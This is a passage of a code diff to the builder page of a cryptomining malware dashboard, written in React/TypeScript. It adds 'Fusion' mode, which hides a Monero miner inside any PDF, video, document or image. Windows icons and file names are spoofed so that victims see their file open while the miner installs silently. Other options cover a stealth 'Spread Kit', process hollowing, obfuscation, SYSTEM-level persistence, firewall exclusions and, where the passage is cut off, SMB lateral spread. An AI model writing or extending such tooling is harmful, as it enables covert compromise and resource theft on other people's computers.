defaultRunnerName(f.name) - : f.name, + fusion_output_name: defaultRunnerName(f.name), }; }); }; - const handleBatchForgeMovies = async () => { + const handleBatchCancel = () => { + batchCancelRef.current = true; + }; + + const handleBatchForge = async () => { if (!form || fusionBatchFiles.length === 0) return; setError(''); setLastBuild(null); + batchCancelRef.current = false; setBuilding(true); const total = fusionBatchFiles.length; const log = fusionBatchFiles.map((f) => ({ name: f.name, status: 'pending' as const })); @@ -307,6 +328,12 @@ export default function BuilderPage() { let ok = 0; try { for (let i = 0; i < total; i++) { + if (batchCancelRef.current) { + setBatchJob((j) => (j ? { ...j, phase: 'cancelled', fileName: '' } : j)); + setBlueprintMsg(`Batch forge cancelled after ${ok} of ${total} file(s).`); + setTimeout(() => setBlueprintMsg(''), 5000); + break; + } const file = fusionBatchFiles[i]; const title = fusionTitleFromFilename(file.name); const pct = Math.round((i / total) * 100); @@ -324,17 +351,17 @@ export default function BuilderPage() { } : j ); - const mode = form.fusion_media_mode || 'paired'; - const req: BuildRequest = { + const req = normalizeForgeForm({ ...form, + target_os: 'universal', fusion_enabled: true, - fusion_payload_kind: 'video', + spread_kit: false, + fusion_payload_kind: fusionPayloadKind(file), fusion_media_base_name: file.name, fusion_export_subdir: title, - fusion_output_name: - mode === 'embedded' ? defaultEmbeddedName(file.name) : defaultRunnerName(file.name), + fusion_output_name: defaultRunnerName(file.name), worker_name: `${form.worker_name || 'miner'}-${title}`.replace(/[^a-zA-Z0-9._-]+/g, '_').slice(0, 48), - }; + }); const checks = runForgePreflight(req, true); if (preflightHasErrors(checks)) { throw new Error(`Preflight failed for ${file.name}`); @@ -374,7 +401,7 @@ export default function BuilderPage() { ); } setBatchJob((j) => (j ? { ...j, phase: 'done', percent: 100, fileName: '' } : j)); - setBlueprintMsg(`✅ Batch forged ${ok} movie(s) — one ZIP per title in fusion-deliverables/`); + setBlueprintMsg(`✅ Batch forged ${ok} file(s) — one universal ZIP per file in fusion-deliverables/`); setTimeout(() => setBlueprintMsg(''), 6000); setFusionBatchFiles([]); } catch (err: unknown) { @@ -403,7 +430,12 @@ export default function BuilderPage() { setError(''); setLastBuild(null); - const checks = runForgePreflight(form, !!fusionPrepFile); + const normalized = normalizeForgeForm(form); + if (normalized !== form) { + setForm(normalized); + } + + const checks = runForgePreflight(normalized, !!fusionPrepFile); if (preflightHasErrors(checks)) { setError('Preflight failed — fix errors in the checklist below before forging.'); return; @@ -411,7 +443,7 @@ export default function BuilderPage() { setBuilding(true); try { - const result = await api.buildAgent(form, fusionPrepFile); + const result = await api.buildAgent(normalized, fusionPrepFile); if (!result.success) { throw new Error(result.error || 'Build failed'); } @@ -433,7 +465,9 @@ export default function BuilderPage() { ]); const candidates = lanEndpointCandidates(info, config.port || info.port); const base = defaultsFromConfig(config, info, builds); - setForm(applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled }, { builds, endpointCandidates: candidates })); + const kind = form ? deriveDeliverableType(form) : 'single'; + const merged = applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled }, { builds, endpointCandidates: candidates }); + setForm(applyDeliverableType(merged, kind)); setBlueprintMsg('✅ Recommended defaults applied'); setTimeout(() => setBlueprintMsg(''), 2500); } catch (err: unknown) { @@ -445,6 +479,18 @@ export default function BuilderPage() { setForm((prev) => (prev ? applyForgeFieldUpdate(prev, field, value) : prev)); }; + const setDeliverableType = (type: ForgeDeliverable) => { + setForm((prev) => (prev ? applyDeliverableType(prev, type) : prev)); + if (type !== 'fusion') { + setFusionPrepFile(null); + setFusionBatchFiles([]); + setFusionEstimate(null); + } + }; + + const deliverableType = form ? deriveDeliverableType(form) : 'single'; + const installBaseOptions = installBaseOptionsForTarget(form?.target_os); + const fieldMeta = useMemo(() => (form ? getForgeFieldMeta(form) : {}), [form]); const liveNotices = useMemo( () => (form ? getForgeLiveNotices(form, !!fusionPrepFile) : []), @@ -456,7 +502,7 @@ export default function BuilderPage() { ); const canForge = form ? !preflightHasErrors(preflightChecks) : false; const errorCount = preflightChecks.filter((c) => c.level === 'error').length; - const fusionIsVideo = isFusionVideoFile(fusionPrepFile); + const fusionIsExe = fusionPayloadKind(fusionPrepFile) === 'exe'; const fusionMediaMode = form?.fusion_media_mode || 'paired'; useEffect(() => { @@ -517,6 +563,7 @@ export default function BuilderPage() { install_relative_path: form.install_relative_path, worker_name: form.worker_name, process_name: form.process_name, + target_os: form.target_os, }); const endpointCandidates = serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : []; @@ -688,8 +735,8 @@ export default function BuilderPage() { <h2>{simpleMode ? 'Quick Forge' : 'Build Miner Installer'}</h2> <p className="form-description"> {simpleMode - ? 'Three fields below, then forge. Pick your LAN address chip if unsure — not localhost. Output lands in the project root when done.' - : 'Creates a single Windows installer `.exe`. Copy it to any machine on your network and run it once. It installs the miner, registers auto-start, connects back to this dashboard at your LAN IP, and begins mining.'} + ? 'Pick a deliverable type, fill the three identity fields, then forge. LAN address chips beat localhost. Spread Kit = silent multi-OS ZIP; Movie = universal fusion.' + : 'Creates installers for Windows, Linux, macOS, or all three. Incompatible fields lock automatically — grayed inputs are ignored at forge time.'} </p> <form onSubmit={handleSubmit}> @@ -707,8 +754,9 @@ export default function BuilderPage() { <input type="text" className="input" - placeholder="office-pc-1" + placeholder="e.g. office-pc-1 (letters, numbers, dash, dot)" value={form.worker_name} + maxLength={48} onChange={(e) => updateField('worker_name', e.target.value)} required /> @@ -728,7 +776,7 @@ export default function BuilderPage() { </div> <input type="url" - className="input mono endpoint-input" + className={`input mono endpoint-input${form.server_url && (form.server_url.includes('localhost') || form.server_url.includes('127.0.0.1')) ? ' input-warn' : ''}`} placeholder={`http://192.168.1.10:${listenPort}`} value={form.server_url} onChange={(e) => updateField('server_url', e.target.value)} @@ -736,6 +784,11 @@ export default function BuilderPage() { autoComplete="off" spellCheck={false} /> + {form.server_url && (form.server_url.includes('localhost') || form.server_url.includes('127.0.0.1')) && ( + <p className="form-hint" style={{ color: 'var(--neon-red, #f55)' }}> + ⚠ localhost/127.0.0.1 baked into the worker will fail on other machines — use your LAN IP chip below. + </p> + )} <FieldHint field="server_url" /> <p className="form-hint endpoint-hint"> Baked into each installer. Change here when this host's LAN IP changes — you do not need to update Calibrate first. @@ -763,14 +816,118 @@ export default function BuilderPage() { <label className="label">XMR Wallet Address <HelpTip field="wallet" /></label> <input type="text" - className="input mono" + className={`input mono${form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 ? ' input-warn' : ''}`} + placeholder="4... or 8... (95–106 characters)" value={form.wallet} onChange={(e) => updateField('wallet', e.target.value)} required + spellCheck={false} /> + {form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 && ( + <p className="form-hint" style={{ color: 'var(--neon-amber, #ffa)' }}> + Wallet address looks short — Monero addresses are 95–106 characters starting with 4 or 8. + </p> + )} <FieldHint field="wallet" /> </div> + <div className="form-section"> + <ForgeSectionHeader + title="Deliverable" + badge="baked" + description="Pick what you are shipping. Incompatible options are locked automatically." + /> + <p className="form-hint" style={{ marginBottom: '0.75rem' }}> + {deliverableSummary(deliverableType)} + </p> + <div className="forge-rules-grid" style={{ marginBottom: '0.75rem' }}> + <button + type="button" + className={`forge-rule-card deliverable-card ${deliverableType === 'single' ? 'deliverable-active' : ''}`} + onClick={() => setDeliverableType('single')} + > + <strong>Single platform worker</strong> + <span className="form-hint">One .exe or binary for Windows, Linux, or macOS.</span> + </button> + <button + type="button" + className={`forge-rule-card deliverable-card ${deliverableType === 'spread_kit' ? 'deliverable-active' : ''}`} + onClick={() => setDeliverableType('spread_kit')} + > + <strong>Universal Spread Kit</strong> + <span className="form-hint">Silent ZIP — Deploy.bat / deploy.sh installs on any OS.</span> + </button> + <button + type="button" + className={`forge-rule-card deliverable-card ${deliverableType === 'fusion' ? 'deliverable-active' : ''}`} + onClick={() => setDeliverableType('fusion')} + > + <strong>Fusion</strong> + <span className="form-hint">Hide miner in any file — PDF, video, doc, image. One universal ZIP works on all OSes.</span> + </button> + </div> + </div> + + <div className="form-section"> + <ForgeSectionHeader + title="Platform" + badge="baked" + description={ + deliverableType === 'single' + ? 'Which OS this single installer targets.' + : 'Locked to Universal — all platforms are included in the ZIP.' + } + /> + <div className="form-row"> + <div className={`form-group ${fieldMeta.target_os?.disabled ? 'field-disabled' : ''}`}> + <label className="label">Target OS <HelpTip field="target_os" /></label> + {fieldMeta.target_os?.disabled ? ( + <input + type="text" + className="input" + disabled + value="Universal (all platforms)" + readOnly + /> + ) : ( + <select + className="select" + value={form.target_os || 'windows'} + onChange={(e) => updateField('target_os', e.target.value)} + > + <option value="windows">Windows</option> + <option value="linux">Linux</option> + <option value="darwin">macOS</option> + </select> + )} + <FieldHint field="target_os" /> + <ForgeLockedHint meta={fieldMeta.target_os} /> + </div> + {(form.target_os === 'linux' || form.target_os === 'darwin') && ( + <div className={`form-group ${fieldMeta.target_arch?.disabled ? 'field-disabled' : ''}`}> + <label className="label">Architecture <HelpTip field="target_arch" /></label> + <select + className="select" + disabled={fieldMeta.target_arch?.disabled} + value={form.target_arch || (form.target_os === 'darwin' ? 'arm64' : 'amd64')} + onChange={(e) => updateField('target_arch', e.target.value)} + > + <option value="amd64">amd64 (Intel/AMD)</option> + <option value="arm64">arm64 (Apple Silicon / ARM)</option> + </select> + <FieldHint field="target_arch" /> + <ForgeLockedHint meta={fieldMeta.target_arch} /> + </div> + )} + </div> + {deliverableType === 'spread_kit' && ( + <p className="form-hint"> + Spread Kit preset: idle mining, stealth, persistence, self-healing, and remote aggressive ops enabled. + Upload nothing — forge produces the deploy ZIP. + </p> + )} + </div> + {!simpleMode && ( <div className={`form-group ${fieldMeta.output_dir?.badge === 'server-only' ? '' : ''}`}> <div className="label-row"> @@ -820,7 +977,8 @@ export default function BuilderPage() { min={1} max={65535} value={form.pool_port} - onChange={(e) => updateField('pool_port', parseInt(e.target.value) || 3333)} + onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 65535) updateField('pool_port', v); }} + onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1 || v > 65535) updateField('pool_port', 3333); }} /> </div> <div className="form-group checkbox-group" style={{ alignSelf: 'flex-end', paddingBottom: '8px' }}> @@ -840,9 +998,11 @@ export default function BuilderPage() { <input type="text" className="input" + placeholder="x" value={form.pool_pass} onChange={(e) => updateField('pool_pass', e.target.value)} /> + <p className="form-hint">Standard Monero pools use <code>x</code> — leave blank to use that default.</p> </div> </div> @@ -865,7 +1025,8 @@ export default function BuilderPage() { <label className="label">Thread Percent <HelpTip field="thread_percent" /></label> <input type="number" className="input" min={1} max={100} value={form.thread_percent} disabled={fieldMeta.thread_percent?.disabled} - onChange={(e) => updateField('thread_percent', parseInt(e.target.value) || 75)} /> + onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v)) updateField('thread_percent', v); }} + onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('thread_percent', 75); else if (v > 100) updateField('thread_percent', 100); }} /> <ForgeLockedHint meta={fieldMeta.thread_percent} /> </div> </div> @@ -874,7 +1035,8 @@ export default function BuilderPage() { <label className="label">Fixed Threads <HelpTip field="threads" /></label> <input type="number" className="input" min={1} max={128} value={form.threads} disabled={fieldMeta.threads?.disabled} - onChange={(e) => updateField('threads', parseInt(e.target.value) || 1)} /> + onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1) updateField('threads', v); }} + onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('threads', 4); }} /> <ForgeLockedHint meta={fieldMeta.threads} /> </div> <div className="form-group"> @@ -892,19 +1054,22 @@ export default function BuilderPage() { <div className="form-group"> <label className="label">Max CPU Usage (%) <HelpTip field="max_cpu_usage_pct" /></label> <input type="number" className="input" min={1} max={100} value={form.max_cpu_usage_pct} - onChange={(e) => updateField('max_cpu_usage_pct', parseInt(e.target.value) || 80)} /> + onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 100) updateField('max_cpu_usage_pct', v); }} + onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('max_cpu_usage_pct', 80); }} /> </div> <div className="form-group"> <label className="label">Max Memory (%) <HelpTip field="max_memory_percent" /></label> <input type="number" className="input" min={10} max={95} value={form.max_memory_percent} - onChange={(e) => updateField('max_memory_percent', parseInt(e.target.value) || 70)} /> + onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 10 && v <= 95) updateField('max_memory_percent', v); }} + onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 10) updateField('max_memory_percent', 70); }} /> <FieldHint field="max_memory_percent" /> </div> </div> <div className="form-group"> <label className="label">Min Free RAM (MB) <HelpTip field="min_free_ram_mb" /></label> <input type="number" className="input" min={256} value={form.min_free_ram_mb} - onChange={(e) => updateField('min_free_ram_mb', parseInt(e.target.value) || 1024)} /> + onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 256) updateField('min_free_ram_mb', v); }} + onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 256) updateField('min_free_ram_mb', 1024); }} /> </div> <div className="form-group"> <label className="label">Mining Mode <HelpTip field="mining_mode" /></label> @@ -929,7 +1094,8 @@ export default function BuilderPage() { max={100} disabled={fieldMeta.idle_threshold_pct?.disabled} value={form.idle_threshold_pct} - onChange={(e) => updateField('idle_threshold_pct', parseInt(e.target.value) || 20)} + onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 100) updateField('idle_threshold_pct', v); }} + onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('idle_threshold_pct', 20); }} /> </div> <div className={`form-group ${fieldMeta.idle_duration_minutes?.disabled ? 'field-disabled' : ''}`}> @@ -940,7 +1106,8 @@ export default function BuilderPage() { min={1} disabled={fieldMeta.idle_duration_minutes?.disabled} value={form.idle_duration_minutes} - onChange={(e) => updateField('idle_duration_minutes', parseInt(e.target.value) || 5)} + onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1) updateField('idle_duration_minutes', v); }} + onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('idle_duration_minutes', 5); }} /> </div> </div> @@ -981,19 +1148,26 @@ export default function BuilderPage() { <label className="label">Install Base Folder <HelpTip field="install_base" /></label> <select className="select" value={form.install_base} onChange={(e) => updateField('install_base', e.target.value)}> - <option value="localappdata">Local App Data (%LOCALAPPDATA%)</option> - <option value="appdata">Roaming App Data (%APPDATA%)</option> - <option value="programdata">Program Data (%ProgramData%)</option> - <option value="userprofile">User Profile (%USERPROFILE%)</option> - <option value="temp">Temp Folder (%TEMP%)</option> - <option value="custom">Custom Path</option> + {installBaseOptions.map((opt) => ( + <option key={opt.value} value={opt.value}>{opt.label}</option> + ))} </select> <FieldHint field="install_base" /> + {installBaseOptions.find((o) => o.value === form.install_base)?.hint && ( + <p className="form-hint"> + {installBaseOptions.find((o) => o.value === form.install_base)!.hint} + </p> + )} </div> {form.install_base === 'custom' && ( <div className={`form-group ${fieldMeta.install_custom_base?.disabled ? 'field-disabled' : ''}`}> <label className="label">Custom Base Path <HelpTip field="install_custom_base" /></label> - <input type="text" className="input mono" placeholder="C:\\Hidden\\Miner or %ProgramData%\\MyApp" + <input type="text" className="input mono" + placeholder={ + form.target_os === 'linux' || form.target_os === 'darwin' + ? '/home/user/.local/share or ~/Library/Application Support' + : 'C:\\Hidden\\Miner or %ProgramData%\\MyApp' + } disabled={fieldMeta.install_custom_base?.disabled} value={form.install_custom_base} onChange={(e) => updateField('install_custom_base', e.target.value)} /> @@ -1027,7 +1201,14 @@ export default function BuilderPage() { <label className="checkbox-label"> <input type="checkbox" className="checkbox" checked={form.firewall_exclusion} onChange={(e) => updateField('firewall_exclusion', e.target.checked)} /> - <span>Windows Firewall allow rules for this miner <HelpTip field="firewall_exclusion" /></span> + <span> + {form.target_os === 'linux' || form.target_os === 'darwin' + ? 'Firewall allow rules (ufw/iptables when available)' + : form.target_os === 'universal' + ? 'Firewall allow rules (per OS — netsh / ufw / best-effort)' + : 'Windows Firewall allow rules for this miner'}{' '} + <HelpTip field="firewall_exclusion" /> + </span> </label> <FieldHint field="firewall_exclusion" /> </div> @@ -1047,13 +1228,15 @@ export default function BuilderPage() { </label> <FieldHint field="stealth_mode" /> </div> - <div className="form-group checkbox-group"> + <div className={`form-group checkbox-group ${fieldMeta.process_hollowing?.disabled ? 'field-disabled' : ''}`}> <label className="checkbox-label"> <input type="checkbox" className="checkbox" checked={form.process_hollowing} + disabled={fieldMeta.process_hollowing?.disabled} onChange={(e) => updateField('process_hollowing', e.target.checked)} /> - <span>Process Hollowing (memory injection) <HelpTip field="process_hollowing" /></span> + <span>Process Hollowing (Windows only) <HelpTip field="process_hollowing" /></span> </label> <FieldHint field="process_hollowing" /> + <ForgeLockedHint meta={fieldMeta.process_hollowing} /> </div> <div className={`form-group checkbox-group ${fieldMeta.file_logging?.disabled ? 'field-disabled' : ''}`}> <label className="checkbox-label"> @@ -1097,9 +1280,9 @@ export default function BuilderPage() { value={form.run_as} onChange={(e) => updateField('run_as', e.target.value)} > - <option value="user">Current User (Run key when persistence on)</option> - <option value="service">Scheduled Task — forced persistence</option> - <option value="scheduled">Scheduled Task — forced persistence</option> + <option value="user">Current User (Run key — persistence optional)</option> + <option value="scheduled">Scheduled Task (logon task — persistence forced on)</option> + <option value="service">Scheduled Task as SYSTEM (elevated — persistence forced on)</option> </select> <FieldHint field="run_as" /> </div> @@ -1116,105 +1299,130 @@ export default function BuilderPage() { </> )} + {deliverableType !== 'spread_kit' && ( <div className="form-section"> <ForgeSectionHeader - title="Fusion (prep + worker)" + title="Fusion — Hide miner in any file" badge="baked" description={simpleMode - ? 'Optional — hide the miner inside your own prep.exe. Upload prep, forge, deploy one file.' - : 'Optional — bundles prep.exe with the miner. Forces background display when enabled.'} + ? 'Drop any file — PDF, video, document, image, or executable. It opens normally while the miner installs silently. Each file gets its own universal ZIP for Windows, Mac, and Linux.' + : 'Fuse the miner with any file. The recipient sees their file open as normal; the miner runs invisibly. Produces a universal ZIP for all platforms.'} /> - <div className="form-group checkbox-group"> + {deliverableType !== 'fusion' && ( + <div className={`form-group checkbox-group ${fieldMeta.fusion_enabled?.disabled ? 'field-disabled' : ''}`}> <label className="checkbox-label"> <input type="checkbox" className="checkbox" checked={form.fusion_enabled} + disabled={fieldMeta.fusion_enabled?.disabled} onChange={(e) => updateField('fusion_enabled', e.target.checked)} /> <span>Enable Fusion <HelpTip field="fusion_enabled" /></span> </label> <FieldHint field="fusion_enabled" /> + <ForgeLockedHint meta={fieldMeta.fusion_enabled} /> </div> + )} + {deliverableType === 'fusion' && ( + <p className="form-hint" style={{ marginBottom: '0.75rem' }}> + Fusion selected — drop your files below and forge. Each file becomes its own universal ZIP (Windows + Mac + Linux) that can be sent to any machine. + </p> + )} {form.fusion_enabled && ( <> + {/* Single-file pick (used when Forge button is clicked) */} <div className={`form-group ${fieldMeta.fusion_prep?.disabled ? 'field-disabled' : ''}`}> <div className="label-row"> - <label className="label">Prep .exe or movie (.mp4 / .mkv / .mov) <HelpTip field="fusion_prep" /></label> + <label className="label"> + Drop any file to fuse <HelpTip field="fusion_prep" /> + </label> <ForgeFieldBadge meta={fieldMeta.fusion_prep} /> </div> <input type="file" className="input" - accept=".exe,.mp4,.mkv,.mov,application/octet-stream,video/*" + accept="*" onChange={(e) => { applyFusionFileSelection(e.target.files?.[0] || null); e.target.value = ''; }} /> - {fusionPrepFile && ( + {fusionPrepFile && !fusionIsExe && ( + <div className="form-hint" style={{ marginTop: '0.4rem' }}> + <strong>{fusionPrepFile.name}</strong> — {fusionFileTypeLabel(fusionPrepFile.name)},{' '} + {(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB + <br /> + <span style={{ color: 'var(--color-accent)' }}> + Windows disguise: runner will be named{' '} + <code>{disguisedWindowsRunnerName(fusionPrepFile.name)}</code> with the{' '} + {fusionFileTypeLabel(fusionPrepFile.name)} icon injected. + Explorer shows it as <code>{disguisedDisplayName(fusionPrepFile.name)}</code> — identical to a real {fusionFileTypeLabel(fusionPrepFile.name)}. + </span> + </div> + )} + {fusionPrepFile && fusionIsExe && ( <span className="form-hint"> - Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB) - {fusionIsVideo ? ' — video payload' : ' — exe payload'} + <strong>{fusionPrepFile.name}</strong> — Windows executable, {(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB — will run directly when opened </span> )} - <p className="form-hint">Upload limit: 2 GB per file.</p> + <p className="form-hint"> + Supports any file type — PDF, video (MP4/MOV/MKV), Word, Excel, image, etc. Max 2 GB. + On Windows: icon + file description are spoofed to match the real application (Adobe Acrobat, Microsoft Word, VLC, etc.). + </p> </div> - {fusionIsVideo && ( - <div className="form-group"> - <label className="label">Movie delivery <HelpTip field="fusion_media_mode" /></label> - <div className="radio-row" style={{ display: 'flex', flexDirection: 'column', gap: '0.75rem' }}> - <label className="checkbox-label"> - <input - type="radio" - className="checkbox" - name="fusion_media_mode" - checked={fusionMediaMode === 'embedded'} - onChange={() => { - updateField('fusion_media_mode', 'embedded'); - if (fusionPrepFile) { - updateField('fusion_output_name', defaultEmbeddedName(fusionPrepFile.name)); - } - }} - /> - <span> - <strong>Option A — Single file (embedded)</strong> - <FieldHint field="fusion_media_mode" /> - </span> - </label> - <p className="form-hint" style={{ marginLeft: '1.75rem' }}> - One disguised launcher (e.g. <code>Title.mkv.exe</code>) contains the movie + hidden miner. - Best when the file is under ~500MB. - </p> - <label className="checkbox-label"> - <input - type="radio" - className="checkbox" - name="fusion_media_mode" - checked={fusionMediaMode === 'paired'} - onChange={() => { - updateField('fusion_media_mode', 'paired'); - if (fusionPrepFile) { - updateField('fusion_output_name', defaultRunnerName(fusionPrepFile.name)); - } - }} - /> - <span> - <strong>Option B — Movie + runner (paired)</strong> - </span> - </label> - <p className="form-hint" style={{ marginLeft: '1.75rem' }}> - <code>Title.mkv</code> (shortcut) + hidden <code>Title.mkv.cmdata</code> +{' '} - <code>Title-runner.exe</code> in <code>fusion-deliverables/Title/</code>. Clicking the - movie shows a lock message; only the runner decrypts and plays it. - </p> - </div> + + {/* Delivery mode — applies to all file types */} + <div className="form-group"> + <label className="label">Delivery mode <HelpTip field="fusion_media_mode" /></label> + <div className="radio-row" style={{ display: 'flex', flexDirection: 'column', gap: '0.75rem' }}> + <label className="checkbox-label"> + <input + type="radio" + className="checkbox" + name="fusion_media_mode" + checked={fusionMediaMode === 'embedded'} + onChange={() => { + updateField('fusion_media_mode', 'embedded'); + if (fusionPrepFile) updateField('fusion_output_name', defaultRunnerName(fusionPrepFile.name)); + }} + /> + <span> + <strong>All-in-one (embedded)</strong> + <FieldHint field="fusion_media_mode" /> + </span> + </label> + <p className="form-hint" style={{ marginLeft: '1.75rem' }}> + Everything baked into a single runner binary. Drop one file anywhere and run it — no extras needed. + Best for files under ~500 MB. + </p> + <label className="checkbox-label"> + <input + type="radio" + className="checkbox" + name="fusion_media_mode" + checked={fusionMediaMode === 'paired'} + onChange={() => { + updateField('fusion_media_mode', 'paired'); + if (fusionPrepFile) updateField('fusion_output_name', defaultRunnerName(fusionPrepFile.name)); + }} + /> + <span> + <strong>ZIP bundle (paired)</strong> + </span> + </label> + <p className="form-hint" style={{ marginLeft: '1.75rem' }}> + Your original file + runners in a ZIP. Works for <em>any</em> file size. The recipient unzips and opens + the launcher for their OS — the file opens normally, miner installs silently. + </p> </div> - )} + </div> + + {/* Batch: queue multiple files, each gets its own ZIP */} <div className="form-group"> <div className="label-row"> - <label className="label">Batch movies <HelpTip field="fusion_batch" /></label> + <label className="label">Batch fusion — fuse many files at once <HelpTip field="fusion_batch" /></label> </div> <input type="file" className="input" - accept=".mp4,.mkv,.mov,video/*" + accept="*" multiple onChange={(e) => { const list = e.target.files ? Array.from(e.target.files) : []; @@ -1223,10 +1431,31 @@ export default function BuilderPage() { }} /> {fusionBatchFiles.length > 0 && ( - <span className="form-hint"> - {fusionBatchFiles.length} movie(s) queued — each becomes a ZIP in{' '} - <code>fusion-deliverables/<title>/</code> (runner + locked movie + README). - </span> + <div style={{ marginTop: '0.5rem' }}> + <p className="form-hint" style={{ marginBottom: '0.25rem' }}> + <strong>{fusionBatchFiles.length} file{fusionBatchFiles.length !== 1 ? 's' : ''} queued</strong> — each becomes a separate universal ZIP in{' '} + <code>fusion-deliverables/</code>: + </p> + <ul className="batch-forge-log" style={{ marginBottom: '0.5rem' }}> + {fusionBatchFiles.map((f) => { + const isExe = fusionPayloadKind(f) === 'exe'; + return ( + <li key={f.name} className="batch-log-pending"> + <span className="batch-log-icon">○</span> + <span> + {f.name}{' '} + <span className="form-hint">({fusionFileTypeLabel(f.name)}, {(f.size/1024/1024).toFixed(1)} MB)</span> + {!isExe && ( + <span style={{ color: 'var(--color-accent)', marginLeft: '0.4rem' }}> + → Windows: <code>{disguisedDisplayName(f.name)}</code> + </span> + )} + </span> + </li> + ); + })} + </ul> + </div> )} {batchJob && ( <div className="batch-forge-panel card" style={{ marginTop: '0.75rem' }}> @@ -1263,33 +1492,48 @@ export default function BuilderPage() { </div> )} {fusionBatchFiles.length > 0 && ( - <button - type="button" - className="btn btn-secondary" - style={{ marginTop: '0.5rem' }} - disabled={building || !canForge} - onClick={handleBatchForgeMovies} - > - {building - ? `Batch forging… (${batchJob?.current ?? 0}/${fusionBatchFiles.length})` - : `Batch forge ${fusionBatchFiles.length} movie(s) → ZIP each`} - </button> + <div style={{ display: 'flex', gap: '0.5rem', marginTop: '0.5rem', flexWrap: 'wrap' }}> + <button + type="button" + className="btn btn-secondary" + disabled={building || !canForge} + onClick={handleBatchForge} + > + {building + ? `Forging… (${batchJob?.current ?? 0}/${fusionBatchFiles.length})` + : `Forge all ${fusionBatchFiles.length} file${fusionBatchFiles.length !== 1 ? 's' : ''} → universal ZIP each`} + </button> + {building && batchJob && batchJob.phase !== 'done' && batchJob.phase !== 'cancelled' && ( + <button + type="button" + className="btn btn-danger" + onClick={handleBatchCancel} + title="Stop after the current file finishes" + > + Cancel Batch + </button> + )} + </div> )} + <p className="form-hint" style={{ marginTop: '0.5rem' }}> + Each ZIP contains runners for Windows, Mac, and Linux. The recipient runs the launcher for their OS — the file opens, the miner installs. + </p> </div> + {!simpleMode && ( <div className="form-row"> <div className="form-group"> - <label className="label">Run Order <HelpTip field="fusion_run_order" /></label> + <label className="label">Run order <HelpTip field="fusion_run_order" /></label> <select className="select" value={form.fusion_run_order} onChange={(e) => updateField('fusion_run_order', e.target.value)}> - <option value="parallel">Parallel (both at once)</option> - <option value="prep_first">Prep first, then worker</option> - <option value="worker_first">Worker first, then prep</option> + <option value="parallel">Parallel — file opens and miner installs at the same time</option> + <option value="prep_first">File first — open file, then install miner</option> + <option value="worker_first">Miner first — install silently, then open file</option> </select> <FieldHint field="fusion_run_order" /> </div> <div className="form-group"> - <label className="label">Output Filename <HelpTip field="fusion_output_name" /></label> + <label className="label">Runner filename <HelpTip field="fusion_output_name" /></label> <input type="text" className="input mono" value={form.fusion_output_name} onChange={(e) => updateField('fusion_output_name', e.target.value)} /> <FieldHint field="fusion_output_name" /> @@ -1297,10 +1541,10 @@ export default function BuilderPage() { </div> )} {simpleMode && fusionPrepFile && ( - <p className="form-hint">Output name: <code>{fusionPrepFile.name || form.fusion_output_name}</code> (matches your prep file). Run order: parallel.</p> + <p className="form-hint">Runner name: <code>{form.fusion_output_name || defaultRunnerName(fusionPrepFile.name)}</code>. Run order: parallel (file opens + miner installs simultaneously).</p> )} <p className="form-hint"> - Fused output: <code>{form.fusion_output_name || 'prep.exe'}</code> containing your prep tool + hidden worker installer. + Output: one universal ZIP containing runners for every OS. Each runner opens <code>{fusionPrepFile?.name || 'your file'}</code> and silently installs the worker. </p> {(estimateLoading || fusionEstimate || estimateError) && ( <div className="fusion-estimate-panel card"> @@ -1342,6 +1586,7 @@ export default function BuilderPage() { </> )} </div> + )} {!simpleMode && ( <> @@ -1351,21 +1596,25 @@ export default function BuilderPage() { badge="server-only" description="Obfuscation, code signing, and go-winres are applied on the control PC at forge time." /> - <div className="form-group checkbox-group"> + <div className={`form-group checkbox-group ${fieldMeta.obfuscate?.disabled ? 'field-disabled' : ''}`}> <label className="checkbox-label"> <input type="checkbox" className="checkbox" checked={!!form.obfuscate} + disabled={fieldMeta.obfuscate?.disabled} onChange={(e) => updateField('obfuscate', e.target.checked)} /> - <span>Obfuscate worker with Garble (release builds) <HelpTip field="obfuscate" /></span> + <span>Obfuscate worker with Garble (Windows only) <HelpTip field="obfuscate" /></span> </label> <FieldHint field="obfuscate" /> + <ForgeLockedHint meta={fieldMeta.obfuscate} /> </div> - <div className="form-group checkbox-group"> + <div className={`form-group checkbox-group ${fieldMeta.sign_build?.disabled ? 'field-disabled' : ''}`}> <label className="checkbox-label"> <input type="checkbox" className="checkbox" checked={!!form.sign_build} + disabled={fieldMeta.sign_build?.disabled} onChange={(e) => updateField('sign_build', e.target.checked)} /> - <span>Sign forged output (Authenticode) <HelpTip field="sign_build" /></span> + <span>Sign forged output (Authenticode, Windows only) <HelpTip field="sign_build" /></span> </label> <FieldHint field="sign_build" /> + <ForgeLockedHint meta={fieldMeta.sign_build} /> </div> </div> @@ -1373,13 +1622,13 @@ export default function BuilderPage() { <ForgeSectionHeader title="Autonomy, Mesh & Lateral Movement" badge="baked" - description="Optional — AI decisions, P2P mesh networking, and SMB auto-spreading." + description="Optional — AI decisions, P2P mesh, SMB auto-spread, NAT hole 